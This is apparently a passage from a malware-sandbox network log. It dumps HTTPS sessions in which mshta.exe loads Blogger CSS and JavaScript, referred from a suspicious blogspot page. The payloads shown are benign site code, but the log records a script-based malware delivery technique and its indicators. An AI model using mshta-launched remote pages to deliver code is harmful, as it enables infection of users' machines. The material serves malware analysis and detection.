CmB;EA+CnB;EACA;EACA;EACA;EACA;AACA;AACA;EACA,WAhDwB;EAiDxB,SCxEsB;;;AD2ExB;EACE;;;AAGF;EF
lCE;EACA;EACA;EACA;EACA;EEgCA;;;AAGF;EACE;EACA,QA9D0B;;;AAiE5B;EACE;;;AAGF;EACE;EACA;EA
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2021-11-25 17:33:40 UTC 109 IN Data Raw: 65 7b 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 7d 2e 77 69 64 67 65 74 2e 53 75 62 73 63 72 69 62 65 20 
2e 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 7b 7a 6f 6f 6d 3a 31 7d 2e 73 75 62 73 63 72 69 62 65 2d 66 65 65 64 2d 74 
69 74 6c 65 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 73 75 62 73 63 72 69 62 65 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 
72 3b 63 6f 6c 6f 72 3a 23 39 39 39 7d 2e 73 75 62 73 63 72 69 62 65 20 61 7b 63 6f 6c 6f 72 3a 23 39 39 39 7d 2e 73 75 
62 73 63 72 69 62 65 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 3a 2e 35 65 6d 3b 70 61 64 64 69 6e 67 3a 30 3b 70 
6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 6f 6f 6d 3a 31 7d 64 69 76 2e 73 75 62 73 63 72 69 62 65 7b 63 75 
72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 
Data Ascii: e{position:static}.widget.Subscribe .widget-content{zoom:1}.subscribe-feed-title{float:left}.subscribe{curso
r:pointer;color:#999}.subscribe a{color:#999}.subscribe-wrapper{margin:.5em;padding:0;position:relative;zoom:1}div.subsc
ribe{cursor:pointer;margin:

2021-11-25 17:33:40 UTC 110 IN Data Raw: 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 36 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 7d 2e 66 
65 65 64 2d 72 65 61 64 65 72 2d 6c 69 6e 6b 73 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 
3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 61 2e 66 65 65 64 2d 72 65 61 64 65 72 2d 6c 69 6e 6b 7b 64 69 73 70 6c 61 79 
3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 61 72 67 69 6e 3a 2e 35 65 6d 3b 74 65 
78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 7d 2e 66 65 65 64 2d 72 65 
61 64 65 72 2d 6c 69 6e 6b 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 7d 2e 5
4 72 61 6e 73 6c 61 74 65 20 61 2e 67 6f 6f 67 2d 74 65 2d 6d 65 
Data Ascii: t;margin-right:6px;margin-top:4px}.feed-reader-links{list-style:none;margin:0;padding:0}a.feed-reader-link{d
isplay:block;font-weight:normal;margin:.5em;text-decoration:none;z-index:1000}.feed-reader-link img{border:0;display:inl
ine}.Translate a.goog-te-me

2021-11-25 17:33:40 UTC 111 IN Data Raw: 29 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 31 70 78 20 32 70 78 20 72 67 
62 61 28 30 2c 30 2c 30 2c 2e 33 29 3b 2d 6d 73 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 31 70 78 20 
32 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 31 70 
78 20 32 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 29 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 77 69 6b 69 70 
65 64 69 61 2d 73 65 61 72 63 68 2d 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 
6e 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 30 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 36 70 78 7d 2e 77 69 
6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 2d 72 65 73 75 6c 
Data Ascii: );-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);-ms-box-shadow:inset 0 1px 2px rgba(0,0,0,.3);box-
shadow:inset 0 1px 2px rgba(0,0,0,.3);outline:none}.wikipedia-search-form{margin:0;overflow:hidden;padding-bottom:0;pad
ding-left:6px}.wikipedia-search-resul

2021-11-25 17:33:40 UTC 113 IN Data Raw: 61 72 63 68 2d 72 65 73 75 6c 74 2d 6c 69 6e 6b 20 61 3a 61 63 74 69 76 65 7b 74 65 78 74 2d 64 65 63 6f 72 
61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 77 69 6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 2d 6d 6f 72 65 20 61 
3a 6c 69 6e 6b 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 77 69 6b 69 70 65 64 69 61 2d 73 65 
61 72 63 68 2d 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 70 78 7d 2e 77 69 
6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 74 61 62 6c 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 72 69 
67 68 74 3a 36 70 78 7d 2e 77 69 6b 69 70 65 64 69 61 2d 73 65 61 72 63 68 2d 62 61 72 7b 77 68 69 74 65 2d 73 70 61 
63 65 3a 6e 6f 77 72 61 70 7d 2e 77 69 6b 69 70 65 64 69 61 2d 
Data Ascii: arch-result-link a:active{text-decoration:underline}.wikipedia-search-more a:link{text-decoration:none}.wikipedia-
search-main-container{padding-top:5px}.wikipedia-searchtable{position:relative;right:6px}.wikipedia-search-bar{white-
space:nowrap}.wikipedia-

2021-11-25 17:33:40 UTC 114 IN Data Raw: 6f 6c 69 64 20 23 65 66 65 66 65 66 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 
3a 35 70 78 7d 23 62 6c 6f 67 2d 70 61 67 65 72 2d 6e 65 77 65 72 2d 6c 69 6e 6b 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 23 
62 6c 6f 67 2d 70 61 67 65 72 2d 6f 6c 64 65 72 2d 6c 69 6e 6b 7b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 23 62 6c 6f 67 2d 
70 61 67 65 72 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6f 76 
65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 2e 62 61 63 6b 6c 69 6e 6b 2d 74 6f 67 67 6c 65 2d 7a 69 70 70 79 7b 70 61 64 
64 69 6e 67 2d 72 69 67 68 74 3a 31 31 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 31 65 6d 3b 63 75 72 73 6f 
72 3a 70 6f 69 6e 74 65 72 3b 63 75 72 73 6f 72 3a 68 61 6e 64 
Data Ascii: olid #efefef;float:left;margin-right:5px}#blog-pager-newer-link{float:left}#blog-pager-older-link{float:right}#blog-pa
ger{margin:1em 0;text-align:center;overflow:hidden}.backlink-toggle-zippy{padding-right:11px;margin-right:.1em;cursor:po
inter;cursor:hand

2021-11-25 17:33:40 UTC 115 IN Data Raw: 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 7d 23 63 6f 6d 6d 65 6e 74 
73 20 2e 6f 70 65 6e 69 64 2d 63 6f 6d 6d 65 6e 74 2d 69 63 6f 6e 2c 2e 6f 70 65 6e 69 64 2d 63 6f 6d 6d 65 6e 74 2d 69 
63 6f 6e 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 69 6d 67 
2f 6f 70 65 6e 69 64 31 36 2d 72 6f 75 6e 64 65 64 2e 67 69 66 29 20 6c 65 66 74 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 
64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 7d 23 63 6f 6d 6d 65 6e 74 73 20 2e 61 6e 6f 6e 2d 63 6f 6d 6d 65 6e 74 2d 
69 63 6f 6e 2c 2e 61 6e 6f 6e 2d 63 6f 6d 6d 65 6e 74 2d 69 63 6f 6e 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 
3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 69 6d 
Data Ascii: no-repeat;padding-left:20px}#comments .openid-comment-icon,.openid-comment-icon{line-height:16px;b
ackground:url(/img/openid16-rounded.gif) left no-repeat;padding-left:20px}#comments .anon-comment-icon,.anon-c
omment-icon{line-height:16px;background:url(/im

2021-11-25 17:33:40 UTC 117 IN Data Raw: 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 
6f 6d 6d 65 6e 74 73 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 6d 6d 65 6e 74 2d 74 68 72 65 61 64 20 6f 6c 7b 6c 69 73 74 2d 
73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 
66 74 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 73 2d 63 6f 6e 74 65 6e 74 20 2e 69 6e 6c 69 6e 65 2d 74 
68 72 65 61 64 7b 70 61 64 64 69 6e 67 3a 2e 35 65 6d 20 31 65 6d 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 
6e 74 73 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 6d 6d 65 6e 74 2d 74 68 72 65 61 64 7b 6d 61 72 67 69 6e 3a 38 70 78 20 3
0 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 73 2d 
Data Ascii: xt-decoration:underline}.comments .comments-content .comment-thread ol{list-style-type:none;padding:0;text-a
lign:left}.comments .comments-content .inline-thread{padding:.5em 1em}.comments .comments-content .comment-thr
ead{margin:8px 0}.comments .comments-

2021-11-25 17:33:40 UTC 118 IN Data Raw: 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 73 2d 63 6f 6e 74 65 
6e 74 20 2e 6c 6f 61 64 6d 6f 72 65 20 61 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 31 30 70 
78 20 31 36 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 74 68 72 
65 61 64 2d 74 6f 67 67 6c 65 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 
2d 62 6c 6f 63 6b 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6e 74 69 6e 75 65 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 
72 7d 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6e 74 69 6e 75 65 20 61 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 
6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 70 61 64 64 69 
Data Ascii: in-top:5px}.comments .comments-content .loadmore a{display:block;padding:10px 16px;text-align:cent
er}.comments .thread-toggle{cursor:pointer;display:inline-block}.comments .continue{cursor:pointer}.comments .continue a
{display:block;font-weight:bold;paddi
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2021-11-25 17:33:40 UTC 119 IN Data Raw: 65 66 74 3a 34 38 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 63 6f 6d 6d 65 6e 74 73 
20 2e 68 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 
20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 34 38 30 70 78 29 7b 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 
6d 6d 65 6e 74 73 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 6d 6d 65 6e 74 2d 72 65 70 6c 69 65 73 7b 6d 61 72 67 69 6e 2d 6c
65 66 74 3a 30 7d 7d 74 61 62 6c 65 2e 74 72 2d 63 61 70 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 61 64 64 69 6e 
67 3a 34 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 65 6d 7d 74 64 2e 74 72 2d 63 61 70 74 69 6f 6e 7b 66 
6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 2e 69 63 6f 6e 2d 61 63 
Data Ascii: eft:48px;position:relative}.comments .hidden{display:none}@media screen and (max-device-width:480px)
{.comments .comments-content .comment-replies{margin-left:0}}table.tr-caption-container{padding:4px;margin-b
ottom:.5em}td.tr-caption{font-size:80%}.icon-ac

2021-11-25 17:33:40 UTC 120 IN Data Raw: 3a 61 63 74 69 76 65 2e 73 62 2d 62 6c 6f 67 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 
2d 32 30 70 78 20 2d 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 62 2d 74 77 69 74 74 65 72 7b 62 61 63 6b 
67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 34 30 70 78 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 7d 61 3a 68 6f 76 
65 72 2e 73 62 2d 74 77 69 74 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 34 30 70 78 20 
2d 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 61 3a 61 63 74 69 76 65 2e 73 62 2d 74 77 69 74 74 65 72 7b 62 61 
63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 34 30 70 78 20 2d 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 
7d 2e 73 62 2d 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 
Data Ascii: :active.sb-blog{background-position:-20px -40px !important}.sb-twitter{background-position:-40px 0 !importan
t}a:hover.sb-twitter{background-position:-40px -20px !important}a:active.sb-twitter{background-position:-40px -40px !imp
ortant}.sb-facebook{backgro

2021-11-25 17:33:40 UTC 121 IN Data Raw: 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 
3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 76 65 
72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 6f 75 74 6c 69 
6e 65 3a 6e 6f 6e 65 7d 2e 67 6f 6f 67 2d 63 75 73 74 6f 6d 2d 62 75 74 74 6f 6e 2d 6f 75 74 65 72 2d 62 6f 78 2c 2e 67 6f 
6f 67 2d 63 75 73 74 6f 6d 2d 62 75 74 74 6f 6e 2d 69 6e 6e 65 72 2d 62 6f 78 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 
73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 76 65 72 74 69 63 61 6c 2d 
61 6c 69 67 6e 3a 74 6f 70 7d 2e 67 6f 6f 67 2d 63 75 
Data Ascii: t-family:Arial,sans-serif;color:#000;text-decoration:none;list-style:none;vertical-align:middle;cursor:defau
lt;outline:none}.goog-custom-button-outer-box,.goog-custom-button-inner-box{border-style:solid;border-color:transparent;
vertical-align:top}.goog-cu

2021-11-25 17:33:40 UTC 123 IN Data Raw: 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 
78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 6f 62 69 6c 65 2d 73 68 61 72 65 2d 70 61 6e 65 6c 2d 6f 75 74 65 72 7b 62 
61 63 6b 67 72 6f 75 6e 64 3a 23 34 34 34 7d 2e 6d 6f 62 69 6c 65 2d 73 68 61 72 65 2d 70 61 6e 65 6c 2d 69 6e 6e 65 72 
7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 
75 73 3a 32 70 78 20 32 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 32 70 
78 20 32 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 
72 61 64 69 75 73 3a 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 
Data Ascii: ay:block;height:100%;line-height:18px;width:100%}.mobile-share-panel-outer{background:#444}.mobile-share-
panel-inner{background:#fff;border-bottom-left-radius:2px 2px;border-bottom-right-radius:2px 2px;border-radius:3px;-
webkit-border-radius:3px;font-fami

2021-11-25 17:33:40 UTC 124 IN Data Raw: 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 39 70 78 20 39 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 
62 69 6c 65 20 61 2e 6d 6f 62 69 6c 65 2d 73 68 61 72 65 2d 70 61 6e 65 6c 2d 62 75 74 74 6f 6e 2d 62 75 7a 7a 7b 62 61 
63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 70 78 20 2d 31 35 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 
3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 32 70 78 20 32 70 78 3b 62 6f 72 64 65 
72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 32 70 78 20 32 70 78 7d 2e 73 76 67 2d 69 63 6f 6e 2d 
32 34 7b 68 65 69 67 68 74 3a 32 34 70 78 3b 77 69 64 74 68 3a 32 34 70 78 7d 66 6f 72 6d 2e 67 73 63 2d 73 65 61 72 
63 68 2d 62 6f 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 
Data Ascii: und-position:19px 9px !important}.mobile a.mobile-share-panel-button-buzz{background-position:10px -150px !i
mportant;border-bottom-left-radius:2px 2px;border-bottom-right-radius:2px 2px}.svg-icon-24{height:24px;width:24px}form.g
sc-search-box{font-size:13p

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.22 49171 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:41 UTC 125 OUT GET /dyn-css/authorization.css?targetBlogID=3903609419317699398&zx=5f07c876-ed15-412f-a301-ebcedf46395e 
HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.blogger.com
Connection: Keep-Alive
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2021-11-25 17:33:41 UTC 152 IN HTTP/1.1 200 OK
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 
for more info."
Content-Security-Policy: script-src   'self' *.google.com *.google-analytics.com 'unsafe-inline'   'unsafe-eval' *.gstatic.com *.g
ooglesyndication.com *.blogger.com   *.googleapis.com uds.googleusercontent.com https://s.ytimg.com   https://i18n-cloud
.appspot.com   https://www.youtube.com   www-onepick-opensocial.googleusercontent.com   www-bloggervideo-opens
ocial.googleusercontent.com   www-blogger-opensocial.googleusercontent.com https://www.blogblog.com; report-uri 
/cspreport
Content-Type: text/css; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 25 Nov 2021 17:33:41 GMT
Last-Modified: Thu, 25 Nov 2021 17:33:41 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-11-25 17:33:41 UTC 154 IN Data Raw: 31 0d 0a 0a 0d 0a 
Data Ascii: 1

2021-11-25 17:33:41 UTC 154 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.22 49170 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:41 UTC 125 OUT GET /static/v1/jsbin/403901366-ieretrofit.js HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.blogger.com
Connection: Keep-Alive

2021-11-25 17:33:41 UTC 126 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: text/javascript
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech"
Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogg
er-tech"}]}
Content-Length: 26633
Date: Tue, 23 Nov 2021 07:09:46 GMT
Expires: Wed, 23 Nov 2022 07:09:46 GMT
Last-Modified: Fri, 19 Nov 2021 02:03:29 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Cache-Control: public, max-age=31536000
Age: 210235
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-25 17:33:41 UTC 126 IN Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 
72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 
69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 61 61 3d 27 20 63 6f 6f 72 64 6f 72 69 67 69 
6e 3d 22 30 20 30 22 20 63 6f 6f 72 64 73 69 7a 65 3d 22 27 2c 62 61 3d 27 20 65 6e 64 63 61 70 3d 22 66 6c 61 74 22 27 
2c 75 3d 22 20 6c 20 22 2c 77 3d 22 20 6d 20 22 2c 63 61 3d 27 22 3e 3c 67 5f 76 6d 6c 5f 3a 66 69 6c 6c 20 63 6f 6c 6f 
72 3d 22 27 2c 64 61 3d 22 3a 30 3b 77 69 64 74 68 3a 22 2c 65 61 3d 27 3c 67 5f 76 6d 6c 5f 3a 73 68 61 70 65 20 66 69 
6c 6c 63 6f 6c 6f 72 3d 22 27 2c 69 61 3d 22 62 6f 72 64 65 
Data Ascii: (function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var aa=' coordori
gin="0 0" coordsize="',ba=' endcap="flat"',u=" l ",w=" m ",ca='"><g_vml_:fill color="',da=":0;width:",ea='<g_vml_:shape 
fillcolor="',ia="borde
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2021-11-25 17:33:41 UTC 127 IN Data Raw: 3b 27 2c 42 3d 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 43 3d 22 7b 62 6f 72 64 65 72 43 6f 6c 6f 72 7d 22 
2c 44 3d 22 7b 62 6f 72 64 65 72 57 69 64 74 68 7d 22 2c 45 2c 46 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 71 61 3d 66 75 6e 
63 74 69 6f 6e 28 61 2c 62 2c 65 2c 63 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 63 3d 63 7c 7c 46 3b 61 
5b 30 5d 69 6e 20 63 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 65 78 65 63 53 63 72 69 
70 74 7c 7c 63 2e 65 78 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 61 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3
b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 3b 29 69 66 28 61 2e 6c 65 6e 67 74 68 7c 7c 76 
6f 69 64 20 30 3d 3d 3d 62 29 63 3d 63 5b 64 5d 26 26 63 5b 64 5d 
Data Ascii: ;',B="transparent",C="{borderColor}",D="{borderWidth}",E,F=this||self,qa=function(a,b,e,c){a=a.split(".");c=
c||F;a[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)if(a.length||void 
0===b)c=c[d]&&c[d]

2021-11-25 17:33:41 UTC 128 IN Data Raw: 2a 28 5b 5c 73 5c 53 5d 2a 3f 29 5b 5c 73 5c 78 61 30 5d 2a 24 2f 2e 65 78 65 63 28 61 29 5b 31 5d 7d 2c 4c 
3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 62 29 7d 2c 78 
61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3c 62 3f 2d 31 3a 61 3e 62 3f 31 3a 30 7d 3b 76 
61 72 20 4d 3b 61 3a 7b 76 61 72 20 79 61 3d 46 2e 6e 61 76 69 67 61 74 6f 72 3b 69 66 28 79 61 29 7b 76 61 72 20 7a 
61 3d 79 61 2e 75 73 65 72 41 67 65 6e 74 3b 69 66 28 7a 61 29 7b 4d 3d 7a 61 3b 62 72 65 61 6b 20 61 7d 7d 4d 3d 22 
22 7d 3b 76 61 72 20 41 61 2c 42 61 2c 4f 2c 50 2c 43 61 2c 51 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 4a 
3d 61 3b 74 68 69 73 2e 41 3d 21 31 7d 3b 45 3d 51 2e 70 72 6f 
Data Ascii: *([\s\S]*?)[\s\xa0]*$/.exec(a)[1]},L=function(a,b){return-1!=a.indexOf(b)},xa=function(a,b){return a<b?-1:a>b?
1:0};var M;a:{var ya=F.navigator;if(ya){var za=ya.userAgent;if(za){M=za;break a}}M=""};var Aa,Ba,O,P,Ca,Q=function(a){
this.J=a;this.A=!1};E=Q.pro

2021-11-25 17:33:41 UTC 129 IN Data Raw: 2e 62 6f 72 64 65 72 57 69 64 74 68 5f 74 6f 70 3d 64 2c 61 2e 62 6f 72 64 65 72 57 69 64 74 68 5f 62 6f 74 74 
6f 6d 3d 64 29 3b 65 6c 73 65 20 69 66 28 4f 61 2e 74 65 73 74 28 63 29 29 66 6f 72 28 63 20 69 6e 20 64 3d 4b 28 63 2e 
73 70 6c 69 74 28 22 3a 22 29 5b 31 5d 29 2c 64 3d 74 68 69 73 2e 6d 28 64 29 2c 64 29 61 5b 63 2b 22 5f 6c 65 66 74 
